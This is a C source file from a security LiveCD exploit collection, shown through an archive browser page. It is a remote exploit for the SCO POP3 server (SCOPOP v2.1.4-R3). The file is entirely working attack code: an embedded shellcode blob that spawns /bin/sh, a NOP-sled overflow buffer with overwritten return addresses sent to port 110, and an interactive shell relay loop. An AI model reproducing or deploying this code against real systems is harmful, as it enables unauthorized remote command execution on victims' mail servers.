home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / pop3 / sco-pop.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  103 lines

  1. /*
  2.  *        Remote pop exploit for SCO systems.
  3.  *        by glitch of litecrew.
  4.  *        Ripped  from Miroslaw Grzybek's code.
  5.  */
  6.  
  7. #include        <stdio.h>
  8. #include        <stdlib.h>
  9. #include        <sys/time.h>
  10. #include        <sys/types.h>
  11. #include        <unistd.h>
  12. #include        <sys/socket.h>
  13. #include        <netinet/in.h>
  14. #include        <netdb.h>
  15. #include        <sys/errno.h>
  16.  
  17. char *shell=
  18.   "\xeb\x32\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x12\x89\x5e\x17"
  19.   "\x88\x5e\x1c\x8d\x16\x89\x56\x0e\x31\xc0\xb0\x3b\x8d\x7e"
  20.   "\x12\x89\xf9\x89\xf9\xbf\x10\x10\x10\x10\x29\x7e\xf5\x89"
  21.   "\xcf\xeb\x01\xff\x63\x61\x62\x62\xeb\x1b\xe8\xc9\xff\xff"
  22.   "\xff/bin/sh\xaa\xaa\xaa\xaa\xff\xff\xff\xbb\xbb\xbb\xbb"
  23.   "\xcc\xcc\xcc\xcc\x9a\xaa\xaa\xaa\xaa\x07\xaa";
  24.  
  25. #define ADDR 0x80474b4
  26. #define OFFSET 0
  27. #define BUFLEN 1200
  28.  
  29. char    buf[BUFLEN];
  30. int     offset=OFFSET;
  31. int     nbytes;
  32. int     sock;
  33. struct  sockaddr_in sa;
  34. struct  hostent *hp;
  35. short a;
  36. void main (int argc, char *argv[])
  37. {
  38.   int i;
  39.   if(argc<2)
  40.     {
  41.       printf("Usage: %s <IP | HOSTNAME> [offset]\n",argv[0]);
  42.       printf("Default offset is 0. It works against SCOPOP v2.1.4-R3\n");
  43.       exit(0);
  44.     }
  45.   if(argc>2)
  46.     offset=atoi(argv[2]);
  47.   memset(buf,0x90,BUFLEN);
  48.   memcpy(buf+800,shell,strlen(shell));
  49.   for(i=901;i<BUFLEN-4;i+=4)
  50.     *(int *)&buf[i]=ADDR+offset;
  51.   buf[BUFLEN]='\n';
  52.   if((hp=(struct hostent *)gethostbyname(argv[1]))==NULL)
  53.     {
  54.       perror("gethostbyname()");
  55.       exit(0);
  56.     }
  57.   if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0)
  58.     {
  59.       perror("socket()");
  60.       exit(0);
  61.     }
  62.   sa.sin_family=AF_INET;
  63.   sa.sin_port=htons(110);
  64.   memcpy((char *)&sa.sin_addr,(char *)hp->h_addr,hp->h_length);
  65.   if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))!=0)
  66.     {
  67.       perror("connect()");
  68.       exit(0);
  69.     }
  70.   printf("CONNECTED TO %s... SENDING DATA\n",argv[1]);
  71.   fflush(stdout);
  72.   write(sock,buf,strlen(buf));
  73.   while(1)
  74.     {
  75.       fd_set input;
  76.  
  77.       FD_SET(0,&input);
  78.       FD_SET(sock,&input);
  79.       if((select(sock+1,&input,NULL,NULL,NULL))<0)
  80.         {
  81.           if(errno==EINTR) continue;
  82.           printf("CONNECTION CLOSED...\n");
  83.           fflush(stdout);
  84.           exit(1);
  85.         }
  86.       if(FD_ISSET(sock,&input))
  87.         {
  88.           nbytes=read(sock,buf,BUFLEN);
  89.           for(i=0;i<nbytes;i++)
  90.             {
  91.               *(char *)&a=buf[i];
  92.               if ((a!=10)&&((a >126) || (a<32)) )
  93.                 {
  94.                   buf[i]=' ';
  95.                 }
  96.             }
  97.           write(1,buf,nbytes);
  98.         }
  99.       if(FD_ISSET(0,&input))
  100.         write(sock,buf,read(0,buf,BUFLEN));
  101.     }
  102. }
  103. /*                    www.hack.co.za              [2000]*/